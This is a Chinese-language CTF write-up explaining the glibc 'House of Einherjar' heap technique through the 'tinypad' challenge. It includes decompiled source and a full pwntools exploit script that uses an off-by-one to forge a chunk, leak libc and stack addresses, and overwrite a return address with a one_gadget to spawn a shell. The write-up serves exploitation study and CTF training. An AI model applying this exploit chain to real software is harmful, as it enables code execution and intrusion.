PWN January 03, 2020

House of Einherjar

Words count 39k Reading time 36 mins. Read count 0

一、原理:

那个的是unlink中的向前合并:

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

这个和unlink的操作其实差不多,但是呢填入的fd和bk不一样:

1
2
p->fd = p
p->bk = p

这样一样可以绕过unlink的检测,伪造时注意构造好fake_chunk的nextsize即可。

1
2
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
malloc_printerr ("corrupted size vs. prev_size");

由于和unlink的知识点差不多,这里就不详细展开讲了,拿题目练练手吧:

二、题目演示

2、tinypad

57234828917

ida分析一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
int v4; // eax
signed int size; // eax
__int64 v6; // rax
unsigned __int64 v7; // rax
int c; // [rsp+4h] [rbp-1Ch]
int i; // [rsp+8h] [rbp-18h]
int idx; // [rsp+Ch] [rbp-14h]
int v12; // [rsp+10h] [rbp-10h]
int size_1; // [rsp+14h] [rbp-Ch]
unsigned __int64 v14; // [rsp+18h] [rbp-8h]

v14 = __readfsqword(0x28u);
v12 = 0;
write_n(&unk_4019F0, 1LL);
write_n(
" ============================================================================\n"
"// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\\\\n"
"|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||\n"
"|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||\n"
"|| _| _| _| _|_| _| _| _| _| _| _| ||\n"
"\\\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //\n"
" ============================================================================\n",
563LL);
write_n(&unk_4019F0, 1LL);
do
{
for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + 49;
writeln("+------------------------------------------------------------------------------+\n", 81LL);
write_n(" # INDEX: ", 12LL);
writeln(&c, 1LL);
write_n(" # CONTENT: ", 12LL);
if ( *&chunk[16 * (i + 16LL) + 8] )
{
v3 = strlen(*&chunk[16 * (i + 0x10LL) + 8]);// 堆块里面的内容
writeln(*&chunk[16 * (i + 0x10LL) + 8], v3);
}
writeln(&unk_4019F0, 1LL);
}
idx = 0;
v4 = getcmd();
v12 = v4;
if ( v4 == 'D' )
{
write_n("(INDEX)>>> ", 11LL);
idx = read_int("(INDEX)>>> ", 11LL);
if ( idx > 0 && idx <= 4 )
{
if ( *&chunk[16 * (idx - 1 + 16LL)] ) // size
{
free(*&chunk[0x10 * (idx - 1 + 16LL) + 8]);
*&chunk[16 * (idx - 1 + 16LL)] = 0LL; // size置为0
writeln("\nDeleted.", 9LL);
}
else
{
writeln("Not used", 8LL);
}
}
else
{
writeln("Invalid index", 13LL);
}
}
else if ( v4 > 'D' )
{
if ( v4 != 'E' )
{
if ( v4 == 'Q' )
continue;
LABEL_43:
writeln("No such a command", 17LL);
continue;
}
write_n("(INDEX)>>> ", 11LL);
idx = read_int("(INDEX)>>> ", 11LL);
if ( idx > 0 && idx <= 4 )
{
if ( *&chunk[16 * (idx - 1 + 16LL)] )
{
c = 48;
strcpy(chunk, *&chunk[16 * (idx - 1 + 16LL) + 8]);// offbyone
while ( toupper(c) != 'Y' )
{
write_n("CONTENT: ", 9LL);
v6 = strlen(chunk);
writeln(chunk, v6);
write_n("(CONTENT)>>> ", 13LL);
v7 = strlen(*&chunk[16 * (idx - 1 + 16LL) + 8]);
read_until(chunk, v7, 0xAu);
writeln("Is it OK?", 9LL);
write_n("(Y/n)>>> ", 9LL);
read_until(&c, 1uLL, 0xAu);
}
strcpy(*&chunk[16 * (idx - 1 + 16LL) + 8], chunk);
writeln("\nEdited.", 8LL);
}
else
{
writeln("Not used", 8LL);
}
}
else
{
writeln("Invalid index", 13LL);
}
}
else
{
if ( v4 != 'A' )
goto LABEL_43;
while ( idx <= 3 && *&chunk[16 * (idx + 16LL)] )
++idx;
if ( idx == 4 )
{
writeln("No space is left.", 17LL);
}
else
{
size_1 = -1;
write_n("(SIZE)>>> ", 10LL);
size_1 = read_int("(SIZE)>>> ", 10LL);
if ( size_1 <= 0 )
{
size = 1;
}
else
{
size = size_1;
if ( size_1 > 0x100 )
size = 0x100;
}
size_1 = size;
*&chunk[16 * (idx + 16LL)] = size;
*&chunk[16 * (idx + 16LL) + 8] = malloc(size_1);
if ( !*&chunk[16 * (idx + 16LL) + 8] )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n("(CONTENT)>>> ", 13LL);
read_until(*&chunk[16 * (idx + 16LL) + 8], size_1, 0xAu);
writeln("\nAdded.", 7LL);
}
}
}
while ( v12 != 'Q' );
return 0;
}

熟悉的菜单题,这里看似只有三个功能,实际上是有malloc、free、edit和show,show在edit里面罢了,下面分析漏洞点:

就在于strcpy函数,会把’\x00’作为结束符号copy到新的地址里面去,这样就容易造成offbyone的溢出,只有这一个洞,同时程序申请的size都是0x100以内的,edit时的输入大小取决于你malloc时输入的大小,同时edit是先写到bss上,再copy到堆上面。这里演示下house of einherjar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./tinypad')
if local:
p = process('./tinypad')
libc = elf.libc
else:
p = remote('172.16.229.161',7777)
libc = ELF('./libc.so.6')
# onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))
def bk(mallocr):
gdb.attach(p,"b *"+str(hex(mallocr)))

def malloc(size,content):
ru("(CMD)>>>")
sl('A')
ru("(SIZE)>>>")
sl(str(size))
ru("(CONTENT)>>> ")
sl(content)
def free(index):
ru("(CMD)>>>")
sl('D')
ru("(INDEX)>>> ")
sl(str(index))
def edit(index,content):
ru("(CMD)>>>")
sl('E')
ru("(INDEX)>>> ")
sl(str(index))
ru("(CONTENT)>>> ")
sl(content)
ru("(Y/n)>>> ")
sl('Y')

malloc(0x70, 'a' * 8)
malloc(0x70, 'b' * 8)
malloc(0x100, 'c' * 8)

free(2)
free(1)
ru(' # CONTENT: ')
heap_base = u64(rc(4).ljust(8, '\x00')) - 0x80
print "heap_base--->" + hex(heap_base)

free(3)
ru(' # CONTENT: ')
libc_base = u64(rc(6).ljust(8, '\x00'))-0x3c4b78
print 'main_arena--->' + hex(libc_base)
# bk(0)
malloc(0x18, 'a' * 0x18) # idx 0

malloc(0x100, 'b' * 0xf8 + '\x11') # idx 1
malloc(0x100, 'c' * 0xf8) # idx 2
malloc(0x100, 'd' * 0xf8) #idx 3

fakechunk = 0x602040 + 0x20
py = p64(0) + p64(0x101) + p64(fakechunk) + p64(fakechunk)
edit(3, 'd' * 0x20 + py)
# bk(0)
prev_size = heap_base + 0x20 - fakechunk
hex(prev_size)

prev_size_strip = p64(prev_size).strip('\x00')
number_of_zeros = len(p64(prev_size)) - len(prev_size_strip)
for i in range(number_of_zeros + 1):
data = prev_size_strip.rjust(0x18 - i, 'k')
edit(1, data)

free(2)
onegadget = libc_base + 0x45216
environ = libc_base + libc.symbols['__environ']
main_arena = libc_base + 0x3c4b78 - 0x58

py = ''
py += 'd' * 0x20
py += p64(0) + p64(0x101)
py += p64(main_arena + 88) + p64(main_arena + 88)
edit(4,py)

print "environ--->" + hex(environ)
py = 'f' * 0xD0
py += 'g' * 8 + p64(environ)
py += 'k' * 8 + p64(0x602148)
malloc(0xf8,py)
# bk(0)
ru("INDEX: 1")
ru("CONTENT: ")
ret_stack = u64(rc(6).ljust(8,'\x00'))-240
print "ret_stack--->" + hex(ret_stack)

edit(2,p64(ret_stack))
edit(1,p64(onegadget))

ru("(CMD)>>>")
sl('Q')
p.interactive()

这题核心点有以下几个,首先是presize比较难控制,但是可以通过一个个写的方式来实现:

1
2
3
4
5
prev_size_strip = p64(prev_size).strip('\x00')
number_of_zeros = len(p64(prev_size)) - len(prev_size_strip)
for i in range(number_of_zeros + 1):
data = prev_size_strip.rjust(0x18 - i, 'k')
edit(1, data)

第二个坑是如果地址里面一开始是0,那么是写不进去的,所以最后那一步写malloc_hook或者free_hook是无法做到的,但是ret本身有libc_start_main+240的地址,所以可写进去。

通过这种方式也可以实现我们的伪造fake_chunk再申请出来的操作,更多的是实现overlap操作,这里再仔细讲下,需要3个堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
chunk1(写入fd指针和bk指针,fd=bk=chunk1)

chunk2(0xx8类型的,可以实现写pre_size+offbynull)

pre_size = chunk3 - chunk1

chunk3(0xf8)

free(chunk3)即可实现unlink!

malloc(new_size)即可实现overlap或者申请出fake_chunk,当fd=bk=heap时,可以不写,就是一般的overlap

如果是bss上的话,就要写清楚FD和BK

这里还收获了一个小技巧:environ存储着栈地址,可实现泄露栈地址,写ret的操作~

0%